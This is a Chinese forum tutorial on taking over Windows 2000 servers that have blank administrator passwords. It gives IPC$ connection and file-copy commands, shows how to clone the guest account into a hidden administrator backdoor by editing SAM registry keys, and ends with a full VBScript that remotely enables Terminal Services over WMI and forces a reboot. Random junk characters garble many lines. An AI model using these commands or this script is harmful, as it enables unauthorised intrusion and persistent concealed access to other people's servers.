|
一次简单的3389入侵过程 % g/ {7 {9 u, A7 j5 U
原创:caozhe(草哲) " U! W: L6 h" c+ f) ?
来源:中国欲网技术论坛--草哲 ' ^* [$ F" M p4 b& J& B
- j; S, H0 ~; l5 V2 t9 P我在网上看到很多很多教你如何如何入侵之类的文章,我觉得对于菜鸟来说根本是看不懂的!
$ K8 `4 e$ x2 [) j: F9 n
7 {5 L8 ?2 _: n: Z于是呢,我冒出个想法!想写篇简单点的,适合菜鸟的文章!把我学到的跟大家说一下~!# ]3 [( M# Z6 E# N+ J8 c4 p
要入侵,我建议你在win2000环境下来*作!9 z: r# w0 q, x7 q
$ P0 i# g, D$ [2 V7 h首先,要入侵,你得有工具!我向大家推荐几款软件,也是我一直用的东西!
/ G R% ]: p) m* M# X7 e& s扫描的X-Scan V2.3、WINNTAutoAttack、流光!' J4 s M' _2 }) b2 ]& D' C8 e9 m
X-Scan我最近很少用了,基本用的都是WINNTAutoAttack,当然,小榕的流光我也经常用!, `' j- ^# g& X6 k
远程开终端需要一个脚本就可以了,代码请看二楼!保存为*.vbe(我保存的是rots.vbe) o; M& q6 B0 F: Q
克隆帐户用个psu就可以了~!' b4 [0 i9 H! p2 T
& B, [- ~, g3 V; o( x% B! bOK,比如扫描到了一个有NT弱口令的服务器,IP地址是120.0.0.1,管理员帐户是administrator,密码为空. W1 i, ^$ p O" [' `2 e
运行CMD(2000下的DOS),我们给它开终端!
6 m e6 H" _: i- k命令如下!. m+ l' a" O/ B- q: s+ W9 e
cscript rots.vbe 120.0.0.1 administrator "" 3389 /fr, V9 ^" U' z( G! V, T6 N
上面的命令应该可以理解吧?cscript rots.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为120.0.0.1这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以/r,这是普通重启)$ h$ E1 W* N; R0 I
( b5 X) j$ K" f# d5 a因为终端服务器只在win2000 server以上的版本(包括server)才有,PRO当然是不行的,此版本可以检测服务器的版本,如果是PRO的则提示你退出安装!
1 P7 E4 y# |+ Z! Z# D( j T
6 M# g6 {3 d+ [; {; F) ^& ~一切顺利,过会就可以连接到终端了,我们可以ping它,看是否重启,ping 120.0.0.1 -t
6 L+ l3 _' E2 G. o% P$ d安装后用连接工具连接终端!现在我们克隆帐户,呵呵,为了给以后方便嘛!
- a" q+ d8 D( @' i3 x( T: r" s, D1 ~! q
回到DOS下!我们建立IPC$连接!
0 ~& o; f5 E3 Anet use \\120.0.0.1\ipc$ "" /user:"administrator"
9 o* F# e K- y. v& [这个命令我想应该可以理解吧!命令完成后,我们把psu上传到目标机的winnt\system32目录下!
& r* d! \* h' W& M# Y# e' jcopy psu.exe \\120.0.0.1\admin$\system32- {# B. \- n5 ]& Z
上传完毕后,开始在肉鸡做后门帐户!看肉鸡!- i4 Z* d' C" T/ z: \. `! C
7 w8 T- V+ u. F: \
假设guest用户被禁用,我们就是要利用guest做后门帐户!
3 d4 y2 L e; P# Y8 L( y' a在该服务器运行CMD,在命令行下输入
& B$ T; H5 P1 u; M) o+ T' L' Hpsu -p regedit -i PID
8 ?7 y# @6 T2 k3 |# r
% b- P% `. C. m% I) Q7 x# l这里解释一下,后面的PID是系统进程winlogon的值,我们在任务栏下点鼠标右键,看任务管理器!
) p. V- P9 f: f: k% {1 R& Z- |看进程选项卡,找到winlogon的进程,后面的数值就是winlogon的pid值,假设是5458
9 A! g9 N! o2 P2 n3 }; d8 T3 P那么,命令就是这样
# B: M. F( `: h( W( `psu -p regedit -i 5458
2 ?3 z$ P: V$ U2 N1 ^7 `- D这样直接打开注册表,可以读取本地sam的信息。
/ j* _, B1 y1 k, p打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
# F( l g2 s# z: o: @下面的就是本地的用户信息了!我们要做的是把禁用的guest克隆成管理员权限的帐户!: m' g+ ]7 h# Q. w/ e5 Z! t3 ?
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
2 V0 d& ]6 z. Y6 z( s查看administrator的类型,是if4,再看guest的是if5
5 ]9 r+ x& v9 Z8 Q好了,知道了类型后,打开
3 r) M+ v. s$ K: W. XHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
" n3 J' K, A; { X0 r. y! _这个值,双击右侧的F,把里面乱七八糟的字符复制下来,然后打开
; h' K t- D HHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5* y7 B3 w/ f' ?4 a: p( c, s+ o7 [
双击右侧的F,把刚复制的粘贴到里面! `& ?6 `8 _/ ^( w, O8 P; J! k W; a
& {8 y |" l8 C) f' S; h" j7 L5 s
做好了以后,把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
h ]* M8 P+ B, H: r4 T和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest7 N$ j; z! w' z7 q0 N/ o
这两个键值导出,导出后把那两个键值删除!然后再导入进来!关闭注册表。
( @6 s* N8 @; O/ m" [$ H$ _3 H, U6 E" b. Z/ _* W9 H
打开CMD,在命令行下输入
$ ]2 Y S6 [% N V S, n! _net user guest password$ L W8 }) L4 y, N
这条命令是给guest设置密码,后面的password就是密码; J5 c' R3 Y" E5 Z$ D2 n) f
然后输入
6 ]/ [) c" v; y( K( anet user guest /active:y7 @& v5 c k8 ^9 k& F6 M
这命令是激活guest帐户,然后我们把他禁用 o- a% O! M6 C) R z7 t' _
net user guest /active:n
" R. a( c& I; y上面的三行命令必须在DOS下执行!
4 V$ Q2 s0 d1 @0 d4 ~& u6 E! }! A; R; u! a) M. v' i, r0 F+ @+ h
OK了,打开计算机管理,看用户,你们看,guest帐户还是被禁用的~!哈哈,但它已经拥有管理员权限了!
t9 S4 r! h5 j0 m, E而且并不在管理员组里显示,还可以登陆终端,跟administrator帐户一样的!) W0 I7 [$ G- X) ?% h
2 I: x% G, k2 a注销一下,用guest登陆吧!8 V" s0 E( k4 [: a: R) s- V/ I
* |7 ^7 F, e0 m7 l. w5 Z# p: @; x4 y打字都打累了~`!真不容易!呵呵~`希望上面的大家能看懂啊!
: A/ w; ~* \, k/ `" B如果还有地方不明白的话,可以问我,我知道的一定告诉大家!4 h4 M) a% B: B% S7 o4 y
0 Y& n: Z4 \* v因为本人也是菜鸟级的,会了点东西就不知道怎么好了,呵呵~`!如果哪里有不对的,还请高手指点啊~!
4 M. r# k! [4 J& |& g7 g# h5 W( a
) b: E+ c: O% @$ Y2 m----------------------------------------------------------------------
/ g$ V: H1 m0 P! v% r以下是开终端的脚本,把它存为*.vbe/ z, Z. P( F) M" h
on error resume next
5 _: X8 m- }: aset outstreem=wscript.stdout
! N& Q5 r1 Y# m+ I0 D3 \+ eset instreem=wscript.stdin
+ @2 c( G$ D1 A! C" \7 q5 b3 Lif (lcase(right(wscript.fullname,11))="wscript.exe") then" }8 |! o$ B/ H4 y: ~
set objShell=wscript.createObject("wscript.shell")1 Z$ b9 g7 N1 a5 y- t
objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))/ p7 c. i3 k7 w1 g9 a ^2 X* B
wscript.quit
- T) V9 w# H) p& Nend if
4 b5 w/ ` e- i0 B4 z' Aif wscript.arguments.count<3 then
; ?" L0 i0 D* x+ D. a usage()
: O! ^# R5 A1 R# h1 _ wscript.echo "Not enough parameters."
0 b; Z8 B {: Z; X( ^1 r wscript.quit! `# J: c. W* G& O- j
end if! p. i$ C/ \1 L$ d1 I! Q4 \7 r5 Q
5 ^8 i z9 K: |! f7 T' n7 B$ Y( qipaddress=wscript.arguments(0)
& m, Z9 O# t, e. C+ `3 [username=wscript.arguments(1)# ^7 P1 U; \1 f. \1 _3 {
password=wscript.arguments(2)
0 d$ v2 c( n8 g/ o# |if wscript.arguments.count>3 then- b j* R7 }1 v3 N2 F/ y
port=wscript.arguments(3)( v% [$ E1 j; C) d
else
. P6 V8 `; ?* Y4 ~0 { port=3389
4 | v9 G5 v7 F0 t4 e' e( t0 Gend if+ O( G9 H8 B& v: W0 {5 p$ {
if not isnumeric(port) or port<1 or port>65000 then/ f2 @% A- R2 s' f
wscript.echo "The number of port is error."
6 o- F/ ?4 Y3 J( C2 z wscript.quit& f) f2 j0 I1 b5 |1 H
end if
6 A; A2 Z: P5 }- u/ Aif wscript.arguments.count>4 then
+ a: H1 X: I. I0 Z reboot=wscript.arguments(4)
# z% X1 ] Q' L7 v: P; }* l7 Q ~else
9 a K4 C) b5 g2 N! G reboot="" _ S6 {) v8 x- A) |8 k3 ?
end if
/ `$ J9 a& Q# s }1 A
- u" d! u9 \$ f) Gusage()9 C; T* C" ^( w! }7 `% R
outstreem.write "Conneting "&ipaddress&" ...."" Y1 l+ b( Q- d+ k0 c* \
set objlocator=createobject("wbemscripting.swbemlocator")
y/ _8 y- | X8 wset objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)
! }( [ p- d& v, M5 ?showerror(err.number)
* D& |, g+ ^! V7 ]8 `. }objswbemservices.security_.privileges.add 23,true
, V5 \/ C) s3 b# Y5 Lobjswbemservices.security_.privileges.add 18,true1 b, o9 N& | Z! J/ J. s1 J$ H* _
6 ^8 j$ S! i/ [) E% \2 j w9 C
outstreem.write "Checking OS type...."
$ M6 S7 s. P" c4 Z8 [ k8 oset colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")/ m! A, G# c) L B
for each objinstoscaption in colinstoscaption1 U; b5 \7 Q/ ]0 M
if instr(objinstoscaption.caption,"Server")>0 then; P- n/ V+ |' f6 {+ B' k
wscript.echo "OK!"5 C C- X7 Y1 g! a" P
else
) h0 T2 ?- w; E' q {$ C% g, e wscript.echo "OS type is "&objinstoscaption.caption. l/ F" K G+ R, W) C! p# g) S
outstreem.write "Do you want to cancel setup?[y/n]"
. \4 O+ m7 W7 b! f( U- l strcancel=instreem.readline
! T0 \2 S% m. G1 D( k if lcase(strcancel)<>"n" then wscript.quit) C! e" h! x4 H C! Y+ v7 }
end if3 O, D. ^. U) P. R4 l% ?
next
$ i7 S3 |1 B8 I1 ?3 e( D) M) j, H S/ ^$ l4 _: U. H2 S/ S
outstreem.write "Writing into registry ...."0 Z) a0 U$ _+ W( r4 \
set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")) a2 x/ r/ e; M% ~" I, ?+ p
HKLM=&h800000027 J( r) k1 |9 j' _+ h% M
HKU=&h80000003
; e) C% [& l3 o- W& h: S' Mwith objinstreg
u( m1 ]( b# B U- S.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"+ u) I/ ~; A3 q
.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0
$ Q3 C/ y( S1 W1 [& y. M6 v ^.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer"
& j3 y! A, i! P- H# k.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1) k3 H2 K6 d+ B" P5 f
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",12 |$ j1 M4 D' }, `, K# z1 {
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2
; [- q" E* ]2 I# z0 S. R.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2
L4 y+ }, r" O5 Q* q.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1"2 X2 ^6 o7 n0 w: M- R) ~, u n
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port
+ H4 t% r" u' b% {6 Iend with! x( X; ^' r7 H# K
showerror(err.number)- {% r5 Q3 L+ d1 w' A! u1 k4 y
; T! c. g7 r6 F grebt=lcase(reboot)
6 H# d# H" g( `flag=0
7 W d2 D' O% s1 W3 w# vif rebt="/r" or rebt="-r" or rebt="\r" then flag=2
" A9 \7 q9 G @- X4 D: V$ @, Bif rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6; o/ n# f ?: {) e
if flag<>0 then: x' e2 f2 J0 ^+ F. p* k1 e1 d
outstreem.write "Now, reboot target...."# ?9 Y6 L8 k p; L
strwqlquery="select * from win32_operatingsystem where primary='true'"/ q- w: p' V! }0 F
set colinstances=objswbemservices.execquery(strwqlquery)0 y- r0 T6 l) N% J# f: c" o
for each objinstance in colinstances! b9 `# M) d( h$ K% {$ e
objinstance.win32shutdown(flag)7 c/ r6 B3 j6 Y( f
next
' B3 W9 C- M5 N. F8 u; F showerror(err.number)
$ @9 b q# ]3 @: P+ y: X belse
. r2 h8 Q# |; \8 @, q' ? wscript.echo "You need to reboot target."&vbcrlf&"Then,"5 N2 p% u- S! M/ S1 p. }& _
end if
5 G/ ^$ s- D8 c' {7 Awscript.echo "You can logon terminal services on "&port&" later. Good luck!"
7 v. ~2 y+ f; |% ^& `4 @' Y3 h' u2 M' H
function showerror(errornumber)
- h* p+ F$ s2 J* @3 ~7 o) w: ~6 p eif errornumber Then, L- @# g( j" p5 Z; L4 A* e+ i, f9 o! e
wscript.echo "Error 0x"&cstr(hex(err.number))&" ."
/ s% }0 ]+ r0 a6 f# K# J, G4 L( | if err.description <> "" then
. z3 J' m( ]/ P wscript.echo "Error description: "&err.description&"."
0 D* H! l0 ^1 F& C8 O end if
# ]3 B+ A4 v# `5 O wscript.quit
- {- k+ I' a( ?% o. V1 u$ h, oelse
. m9 T/ V# G! Q" f5 k wscript.echo "OK!"2 l/ E0 m" \* g9 ?- ~; C
end if
. i2 Z q8 i# O) Lend function) J4 i6 F' s! y9 A' ~
2 C8 F+ O# v" Q2 @8 T. |( i; U' Y' Afunction usage()6 S+ Y$ M7 r( b4 z2 `# ^
wscript.echo string(79,"*")% h9 k7 m8 [1 n
wscript.echo "ROTS v1.05"
3 B2 F- W2 ?4 v! }! P" |1 a% n @& m$ Nwscript.echo "Remote Open Terminal services Script, by 草哲"
. U( Y t8 W% Y. Mwscript.echo "Welcome to visite www.5458.net"
. a* K8 G, Z) R& H( Z9 N3 t# L& nwscript.echo "Usage:"
/ A# Q; _2 k6 o, n1 kwscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]"% A% [- T1 ~: C5 l, k( ]7 H
wscript.echo "port: default number is 3389." M8 `7 o$ x" h# V) c' a
wscript.echo "/r: auto reboot target."6 g& b" h8 {2 C% @3 `% i
wscript.echo "/fr: auto force reboot target."4 H& g I7 I* s( ?7 e2 l
wscript.echo string(79,"*")&vbcrlf7 r! u4 |, {+ g+ c' z- o
end function
: K* A1 G1 i2 i9 l 9 J! H1 w5 x2 s. f3 c, t# n0 G
转自安全焦点 |
|